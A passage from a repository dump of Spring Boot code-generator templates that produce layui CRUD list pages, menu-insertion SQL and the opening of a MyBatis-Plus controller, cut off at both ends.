'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/list.html.vm.ftl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n  <link rel=\"stylesheet\" href=\"/css/public.css\" media=\"all\">\n  <style>\n\t\telement.style { width: 180px; }\n\t\t.layui-form-label.layui-required:after{\n\t        content: '*';\n\t\t    color: red;\n\t\t    position: absolute;\n\t\t    margin-left: 4px;\n\t\t    font-weight: bold;\n\t\t    line-height: 1.8em;\n\t\t    top: 6px;\n\t\t    right: 5px;\n\t    }\n  </style>\n</head>\n<body>\n<!-- 新增修改的DIV页面-begin,默认hidden -->\n<div class=\"panel panel-default operation\" hidden>\n<!--   <div class=\"panel-heading title\"></div> -->\n<div class=\"layui-card-body\">\n#*\n<fieldset class=\"layui-elem-field layui-field-title\" style=\"margin-top: 20px;\">\n    <legend>基本信息</legend>\n</fieldset>\n*#\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"#*width: 700px;*#margin-top: 10px\">\n###遍历新增修改表单\n#foreach($column in $columns)\n  #if($column.columnName == $pk.columnName)\n    <input name=\"${column.attrname}\" id=\"${column.attrname}\" hidden/>\n  #else\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n\n<div class=\"layui-form-item\" #if($column.columnName == $pk.columnName) ,hide:true #end  #if($column.comments=='') style=\"display:none\" #end>\n\n#if($column.dataType != 'text') <div class=\"layui-inline\"> #end\n      <label class=\"layui-form-label #if($column.isNull == 'NO') layui-required #end \" >${column.comments}</label>\n      <div class=\"#if($column.dataType == 'text') layui-input-block #else layui-input-inline #end\"> \n##注解支持，不展示\n#if($column.dataType == 'datetime')\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\" lay-verify=\"#if($column.isNull == 'NO')required|#end date\" #if($column.isNull == 'NO') placeholder=\"yyyy-MM-dd\" #end autocomplete=\"off\" class=\"layui-input\">\n#elseif($column.columnName.toString().contains(\"dict\"))\n\t<select id=\"${column.attrname}\" name=\"${column.attrname}\" lay-filter=\"${column.attrname}\"  th:with=\"type=${@sysDictService.getType('${column.columnName}')}\"  >\n        <option value=\"\">请选择</option>\n        <option th:each=\"dict : ${type}\" th:text=\"${dict.label}\" th:value=\"${dict.value}\"></option> \n    </select>\n#elseif($column.dataType == 'text')\n\t    <textarea  #if($column.isNull == 'NO') placeholder=\"请输入内容\" #end class=\"layui-textarea\" name=\"${column.attrname}\"  id=\"${column.attrname}\"></textarea>\n#else\n\t#if($column.isNull == 'NO') \n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  lay-verify=\"required|${column.attrname}\" lay-max=\"${column.maxLength}\" #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end  autocomplete=\"off\" class=\"layui-input\">\n\t#else\n\t<input type=\"text\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end autocomplete=\"off\" class=\"layui-input\">\n\t#end\n#end\n    </div>\n  #if($column.dataType != 'text') </div> #end\n \n </div>\n#end\n#end\n<div class=\"layui-form-item\" id=\"buttonSave\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  </div>\n</div>\n</form>\n</div>\n</div>\n<!-- 新增修改的DIV页面-end -->\n\n<!-- 查询列表的DIV页面-start -->\n<div class=\"layuimini-container\">\n<div class=\"layuimini-main\">\n<div class=\"table_div\">\n   <blockquote class=\"layui-elem-quote layui-text\">\n      在此你可以对<span class=\"label-info\"><strong>${comments}</strong></span>进行编辑!若有操作及使用问题及常见“问题”：请查看<a href=\"#\">操作手册</a>！\n   </blockquote>\n  <div id=\"searchParam\"  shiro:hasPermission=\"${classname}:list\">\n    <div class=\"layui-form-item\">\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n      <div class=\"layui-input-inline\">\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" placeholder=\"yyyy-MM-dd\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n#else\n      <div class=\"layui-input-inline\">\n    <input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入${column.comments}\">\n      </div>\n#end\n#end\n#end\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n  </div>\n  <!-- 渲染列表，上面的是工具栏 -->\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n</div>\n</div>\n<!-- 查询列表的DIV页面-end -->\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"${classname}:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm  layui-btn-danger \" lay-event=\"batchDeleted\" shiro:hasPermission=\"${classname}:delete\">删除</button>\n    <!-- \n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"submit\" shiro:hasPermission=\"${classname}:delete\">提交</button>\n     -->\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  {{#  if(d.orderState == 0){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner != 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner == 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  }else { }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"pjProject:delete\">删除</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  } }}\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/layui-ext/tableSelect.js\"></script>\n<script src=\"/lib/lay-module/xmSelect/xm-select.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script src=\"/js/jquery.js\"></script>\n<!-- 流程flow-mark001,新增流程查看表单详情功能 -->\n<script th:inline=\"javascript\">\n    var pkCode = [[${pkCode}]];\n    var flagType = [[${flagType}]];\n    var id = [[${id}]];\n//     console.log(flagType);\n//     console.log(id);\n    if(\"view\"==flagType){\n\t     $(\".table_div\").hide();\n\t     $(\".operation\").show();\n\t     $(\"#buttonSave\").hide();\n\t     var layer = layui.layer;\n\t     var $ = jQuery = layui.jquery;\n\t     var form = layui.form;\n\t     var element = layui.element;\n\t     $(function () {\n\t         CoreUtil.sendPost(\"/${classname}/findOne\", {id : id}, function (res) {\n\t             if (res.data != null) {\n\t            \t form.val(\"info\", res.data );\n\t                 form.render(); //更新全部\n\t             }\n\t         });\n\t     });\n    }\n</script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token==null?\"\":token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var layedit = layui.layedit;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n  var numberInput = layui.numberInput;\n  var tableSelect = layui.tableSelect;\n  var layerAdd;\n  //定义lay全局对象\n\n  layui.config({\n        base: '/layui-ext/'\n    }).extend({\n        treetable: 'treetable-lay/treetable',\n        iconPicker: 'icon/iconPicker',\n        numberInput: 'numberInput/js/index'\n    }).use(['numberInput','table', 'layer', 'laydate' ,'form', 'layedit'], function () {\n\tnumberInput = layui.numberInput;\n\t\n    //加载table,数据表格\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/${classname}/listByPage' //数据接口\n      , method: 'POST'\n      ,size: 'sm' //小尺寸的表格\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t        return {\n\t          \"code\": res.code, //解析接口状态\n\t          \"msg\": res.msg, //解析提示文本\n\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'}, //{type:'radio'}  \n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n          {field: '${column.attrname}', title: '${column.comments}', sort: true ##\n#if($column.columnName == $pk.columnName || $column.isNull != 'NO') \n,hide: true ##\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n, templet: function (item) { ##\n\t            //获取类型对应的字典label\n\t            var datas = \"[[${@sysDictService.getType('${column.columnName}')}]]\".replace(/&quot;/g,\"\\\"\");\n\t            if(item.${column.attrname}%2==0){\n\t\t            return '<span class=\"layui-btn layui-btn-normal layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}else{\n\t\t            return '<span class=\"layui-btn layui-btn-warm layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}\n\t            // return CoreUtil.selectDictLabel(datas, item.${column.attrname});\n            }\n#end \n\t\t  }, \n#end\n\t\t\t//   流程新增字段   beggin    flow_test1  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n          { title: '流程状态', field: 'orderState', align: 'center',width:90, templet: function (d) {\n                  if (d.orderState == 0) {\n                      return '<span style=\"color: #eb7350;\">审批完成</span>'\n                  }else if (d.orderState == 1) {\n\t                  return '<span style=\"color: #00b487;\">审批中</span>'\n                  }else{\n\t                  return '<span style=\"color: blue;\">草稿</span>'\n                  }\n              }\n          },\n          { title: '当前节点', field: 'taskName', align: 'center' ,width:105},\n          { title: '当前处理人', field: 'taskOperatorName', align: 'center' ,width:90},{field: 'isOwner', title: 'isOwner',hide:true },\n          //   流程新增字段   end  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n         {field: 'isOwner',hide: true  }, {width: 180, toolbar: \"#tool\", title: '操作', fixed: 'right'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n    \tvar checkStatus11 = table.checkStatus(obj.config.id);\n        var data11 = checkStatus11.data;\n        if(data11.length==0){\n          \tlayer.msg(\"请选择要操作的数据列！\");\n        }else {\n\t          var ids11 = [];\n\t          $(data11).each(function (index,item) {\n\t        \t  if(item.orderState==0 || item.orderState==1){\n\t        \t\t  ids11.push(item.orderState);\n\t        \t  }\n\t          });\n\t          if(ids11.length>0){\n\t        \t  layer.msg(\"请选择未发起流程中的数据(禁止操作流程中的数据)！\");\n        \t\t  return;\n\t          }\n        }\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        //<!-- 流程flow-mark001,新增流程提交方案的submit的function -->\n        case 'submit':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要提交的记录\");\n          }else if(data.length > 1){\n            layer.msg(\"请选择要提交的记录（one row each times）\");\n          }else {\n//         \t  window.checkPromission(data[0].createId);\n        \t  data[0]['processName'] = \"submit\";\n        \t  //<!-- 流程flow-mark001,新增流程,指定流程的类型 -->\n        \t  CoreUtil.setData(\"data_doSubmit\",data[0]);\n        \t  console.log(\"data=\"+data);\n              layer.open({\n                  type: 2,\n                  skin: 'layui-layer-admin',\n                  title: \"提交流程\",\n                  shadeClose : false,\n                  area: ['880px', '500px'], //宽高\n                  shade: 0.6, //遮罩透明度\n                  maxmin: true, //允许全屏最小化\n                  anim: 1, //0-6的动画形式，-1不开启\n                  content:  '/table/doSubmit.html',\n                  end: function(){\n                \t  search();\n                  }\n              });\n          }\n          break;\n        case 'add':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"新增\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end \n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(\"\");\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(\"\");\n#else\n          $(\".operation input[name=${column.attrname}]\").val(\"\");\n#end\n#end\n\t\t  layerAdd = layer.open({\n              type: 1,\n              skin: 'layui-layer-admin',\n              area: ['80%', '80%'],\n              shift: 1,\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['新增${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"编辑\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(data.${column.attrname});\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(data.${column.attrname});\n#else\n          $(\".operation input[name=${column.attrname}]\").val(data.${column.attrname});\n#end\n#end\n\t\t  form.render();\n\t\t  layerAdd = layer.open({\n              type: 1,\n              area: ['80%', '80%'],\n              shift: 2,\n              skin: 'layui-layer-admin',\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['修改${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n        case 'file':\n          data['dictBiztype']='${comments}';\n          CoreUtil.setData(\"biz_rowdata\",data);\n          var index = layer.open({\n              title: '上传附件',\n              type: 2,\n              skin: 'layui-layer-admin',\n              shade: 0.2,\n              maxmin:true,\n              shadeClose: true,\n              scrollbar: true,\n              area: ['80%', '80%'],\n              content: '/index/sysFilesByUser',\n          });\n          $(window).on(\"resize\", function () {\n              layer.full(index);\n          });\n          return false;\n      }\n    });\n    \n    \n//遍历列，并渲染各种表单组件\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n \t//日期+时间\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'datetime'\n    });\n##elseif($column.columnName.toString().contains(\"dict\"))\n\n#elseif($column.dataType == 'date' )\n\t \t//日期\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'date'\n    });\n#elseif($column.dataType == 'decimal' )\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 2\n\t});\n#elseif($column.dataType == 'int')\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 0\n\t});\n#end\n#if($column.columnName.toString().contains(\"ref_\"))\n\ttableSelect.render({\n\t\telem: '#${column.attrname}',\n\t\tcheckedKey: 'id',\n\t\ttable: {\n\t\t\turl: '/${classname}/listBySelect?authorization='+tokenQuery,\n\t\t\tmethod: 'POST',\n\t\t\tcontentType: 'application/json',\n\t\t\t parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t\t        return {\n\t\t          \"code\": res.code, //解析接口状态\n\t\t          \"msg\": res.msg, //解析提示文本\n\t\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t\t        }\n\t\t      },\n\t\t\tcols: [ [\n\t\t\t\t\t{ type: 'radio' },\n\t\t\t\t\t{ field: 'id', title: 'ID' ,hide:true},\n\t\t\t\t\t{ field: 'XXXcusname', title: '标题' },\n\t\t\t\t\t{ field: 'XXXfullname', title: '名称' }\n\t\t\t\t] ]\n\t\t},\n\t\tdone: function (elem, data) {\n\t\t\tvar NEWJSON = []\n\t\t\tlayui.each(data.data, function (index, item) {\n\t\t\t\tNEWJSON.push(item.XXXcusname);\n\t\t\t\t$(\"#refId\").val(item.XXXid);\n\t\t\t\tconsole.log('info');  \n\t\t\t})\n\t\t\telem.val(NEWJSON.join(\",\"))\n\t\t}\n\t});\n#end\n#end\n#end\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/${classname}/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n          skin: 'layui-layer-admin',\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/${classname}/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n    \tlayer.close(layerAdd);\n//       $(\".table_div\").show();\n//       $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      \n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/${classname}/add\",data.field,function (res) {\n          if(res.code == \"0\"){\n\t          //$(\".table_div\").show();\n\t          //$(\".operation\").hide();\n\t          layer.close(layerAdd);\n\t          search();\n        \t}else{\n        \t\tlayer.msg(res.msg);\n        \t}\n        });\n      }else {\n        CoreUtil.sendPut(\"/${classname}/update\",data.field,function (res) {\n          //$(\".table_div\").show();\n          //$(\".operation\").hide();\n          layer.close(layerAdd);\n          search();\n        });\n      }\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        '1':'1'\n        //,key: $(\"#key\").val()\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n\t\t,${column.attrname}: $(\"#${column.attrname}Condition\").val()\n#end\n#end\n      }\n      ,page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n  \n  //根据数据库字段长度及是否必填属性生成校验表单字段长度\n  //lay-verify=\"required|account\" lay-min=\"6\" \n  // https://blog.csdn.net/m0_48373030/article/details/108783184\n    form.verify({\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n${column.attrname}: function(value, item){\n            var max = item.getAttribute('lay-max');\n            if(value.length > max){\n                return '${column.comments}不能大于'+max+'个字符的长度！';\n            }\n        } #if($columns.size() != ${velocityCount}) ,  #end\n#end\n#end\n    });\n</script>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-single-v3/menu.sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/mybatis-plus-v1/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.util.ReturnT;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = 